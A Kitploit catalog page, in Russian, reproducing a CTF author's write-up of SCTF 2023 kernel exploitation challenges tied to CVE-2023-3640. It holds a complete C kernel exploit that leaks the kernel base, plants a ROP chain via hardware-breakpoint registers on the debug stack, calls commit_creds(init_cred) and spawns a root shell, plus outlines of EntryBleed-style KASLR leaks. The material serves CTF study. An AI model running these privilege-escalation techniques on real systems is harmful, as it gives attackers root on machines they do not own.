Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2023-3640 — SCTF 2023 kernel pwn && CVE-2023-3640 | Kitploit
Инструменты/GitHubGitHub/pray77/cve-2023-3640
Vulnerability AnalysisExploitationCTFLearning & EducationBinary Exploitation
GitHubpray77/cve-2023-3640

CVE-2023-3640

SCTF 2023 kernel pwn && CVE-2023-3640

Репозиторий
2913 лет назадПроверено Kitploit

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

SCTF2023_kernelpwn

SCTF 2023 kernel pwn

Отступление: Реклама. Автор — студент бакалавриата выпуска 2024 года, участвует в осеннем наборе этого года, добро пожаловать для связи~

sycrop

Эта задача направлена на изучение двух моментов.

  1. Точки начала области отображения cpu entry area имеют несколько адресов с фиксированным смещением от текстового сегмента ядра. Подробнее см. рисунок ниже. Это всего лишь небольшой трюк, впервые появившийся в Google KCTF, а затем несколько раз встречавшийся на международных соревнованиях.

image

3Z(ZSS7$2V)YRPGD 7%KY

  1. При установке аппаратной точки останова и запуске в пользовательском режиме содержимое регистров может быть передано на стек DB (Debug Stack) с фиксированным смещением от per cpu entry area. До версии Linux 6.2 per cpu entry area не была рандомизирована, адрес был фиксирован, поэтому можно было сформировать ROP-цепочку по фиксированному адресу в ядре. Это новшество данной задачи. Автор временно называет его ret2hbp. Название дано лишь для удобства описания данного приёма атаки. Автор не претендует на оригинальность; на самом деле, путь развития эксплуатации ядра сам по себе достаточно привлекателен, и найти ракушку на песчаном пляже уже приносит радость :).

Конкретные адреса и смещения см. в эксплойте. Всё равно прошу мастеров самостоятельно отладить.

root@kitploit:~
#define _GNU_SOURCE
#include <sched.h>
#include <sys/mman.h>
#include <pthread.h>
#include <semaphore.h>
#include <sys/ptrace.h>
#include <signal.h>
#include <sys/wait.h>
#include <stddef.h>
#include <asm/user_64.h>
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
#include <sys/utsname.h>
#include <stdbool.h>
#include <string.h>
#include <sys/resource.h>
#include <sys/prctl.h>
#include <fcntl.h>

void* map;
#define PAGE_SIZE 0x1000
pid_t hbp_pid;
unsigned long kernel_base;
unsigned long init_cred;
unsigned long commit_cred;
unsigned long pop_rdi;
unsigned long swapgs_restore_regs_and_return_to_usermode;

size_t user_cs, user_ss, user_rflags, user_sp;

void saveStatus()
{
    __asm__("mov user_cs, cs;"
            "mov user_ss, ss;"
            "mov user_sp, rsp;"
            "pushf;"
            "pop user_rflags;"
            );
    printf("\033[34m\033[1m[*] Status has been saved.\033[0m\n");
}

void teardown()
{
    kill(hbp_pid,9);
}

void create_hbp(void* addr)
{

    if(ptrace(PTRACE_POKEUSER,hbp_pid, offsetof(struct user, u_debugreg), addr) == -1) {
        printf("Could not create hbp! ptrace dr0: %m\n");
        teardown();
        exit(1);
    }

    if(ptrace(PTRACE_POKEUSER,hbp_pid, offsetof(struct user, u_debugreg) + 56, 0xf0101) == -1) {
        printf("Could not create hbp! ptrace dr7: %m\n");
        teardown();
        exit(1);
    }
}

void hbp_raw_fire()
{
    if(ptrace(PTRACE_CONT,hbp_pid,NULL,NULL) == -1)
        {
            printf("Failed to PTRACE_CONT: %m\n");
            teardown();
            exit(1);
        }
}
void getRootShell(void)
{   
    if(getuid()) {
        printf("\033[31m\033[1m[x] Failed to get the root!\033[0m\n");
        exit(-1);
    }

    puts("\033[32m\033[1m[+] Successful to get the root. "
         "Execve root shell now...\033[0m");
    system("/bin/sh");
}
size_t getshelladdr = &getRootShell;
void init(unsigned cpu)
{
    cpu_set_t mask;
    map = mmap((void*) 0x0a000000,0x1000000,PROT_READ | PROT_WRITE,MAP_SHARED | MAP_ANONYMOUS | MAP_FIXED,0,0);
    switch(hbp_pid = fork())
    {
        case 0: //child
            //pin cpu

            CPU_ZERO(&mask);
            CPU_SET(cpu,&mask);
            sched_setaffinity(0,sizeof(mask),&mask);
            ptrace(PTRACE_TRACEME,0,NULL,NULL);
            raise(SIGSTOP);
            __asm__(
                "mov r15,   0xbeefdead;"
                "mov r14,   pop_rdi;"
                "mov r13,   init_cred;" // start at there
                "mov r12,   commit_cred;"
                "mov rbp,   swapgs_restore_regs_and_return_to_usermode;"
                "mov rbx,   0x77777777;"
                "mov r11,   0x77777777;"
                "mov r10,   getshelladdr;"
                "mov r9,    user_cs;"
                "mov r8,    user_rflags;"
                "mov rax,   user_sp;"
                "mov rcx,   user_ss;"
                "mov rdx,   0xcccccccc;"
                "mov rsi,   0xa000000;"
                "mov rdi,   [rsi];"
            );
            exit(1);
        case -1:
            printf("fork: %m\n");
            exit(1);
        default: //parent. Just exit switch
            break;
    }
    int status;
    //Watch for stop:
    puts("Waiting for child");
    while(waitpid(hbp_pid,&status,__WALL) != hbp_pid || !WIFSTOPPED(status))
    {
        sched_yield();
    }
    puts("Setting breakpoint");
    create_hbp(map);
}

int main()
{
    saveStatus();
    int fd = open("/dev/seven", O_RDWR);
    if(fd < 0) perror("Error open");
    unsigned long addr =  ioctl(fd,0x5555,0xfffffe0000000000+4);
    printf("0x%llx\n",addr-0x1008e00);
    kernel_base = addr-0x1008e00;
    init_cred = kernel_base + 0xffffffffbd64cbf8 - 0xffffffffbbc00000;
    commit_cred = kernel_base + 0xffffffffbbcbb5b0 - 0xffffffffbbc00000;
    pop_rdi = kernel_base + 0xffffffff81002c9d - 0xffffffff81000000;
    swapgs_restore_regs_and_return_to_usermode = kernel_base + 0xffffffff82000f01 - 0xffffffff81000000;
    init(1);
    hbp_raw_fire();
    waitpid(hbp_pid,NULL,__WALL);
    hbp_raw_fire();
    waitpid(hbp_pid,NULL,__WALL);
    ioctl(fd,0x6666,0xfffffe0000010f60);
}

sycrpg

На самом деле, это всего лишь задача на эксплуатацию 1-дневной уязвимости. Основная идея взята из статьи pj0 от Google. Всё, что сделал автор — превратил её в задачу для CTF, чтобы было удобно изучить, на мой взгляд, мощный и интересный метод эксплуатации, и ощутить шарм ситуации, когда можно получить шелл, имея возможность записать всего один байт по одному адресу. https://googleprojectzero.blogspot.com/2022/12/exploiting-CVE-2022-42703-bringing-back-the-stack-attack.html?m=1

moonpray

Это задача, связанная с утечкой информации о ядре с использованием 0-day. Однако существует неожиданное решение (обе команды, решившие задачу, использовали неожиданный путь).

Задача — усиленная версия sycrop без утечки (leak). Используемая версия — 6.2, в которой per cpu entry area рандомизирована.

  1. Сначала всё равно нужно получить утечку. Здесь задействована уязвимость CPU. Обратите внимание на параметры запуска: -enable-kvm и -cpu host. Используется физический процессор. В большинстве случаев процессоры Intel подвержены этой уязвимости. Подробнее см. статью Entrybleed (1-day) (https://www.willsroot.io/2022/12/entrybleed.html#comment-form). С помощью скрипта из статьи можно вычислить kaslr.
  2. Далее, в части ROP, следуя идее sycrop, следовало бы перенести стек на DB stack. Но теперь per cpu entry area рандомизирована, поэтому DB stack тоже рандомизирован (он находится по смещению per cpu entry area + 0xf000). Однако, при включённом KPTI, в пользовательское пространство отображается не только точка входа системных вызовов (entry_SYSCALL_64 из EntryBleed), но и per cpu entry area. Таким образом, можно получить смещение, измеряя разницу времени выполнения инструкции предвыборки (prefetch). Конкретный скрипт можно будет опубликовать только после согласования с производителем (но, полагаю, из вышесказанного уже ясно, и мастера смогут его собрать).
  3. О неожиданном решении: в ROP-части можно использовать ret2dir. Это упущение автора. При создании задачи автор рассматривал возможность ret2dir, но из-за нехватки времени, завершив основную часть задачи, просто забыл об этом. Однако это не страшно, по крайней мере, у задачи есть решение.
Скачать инструмент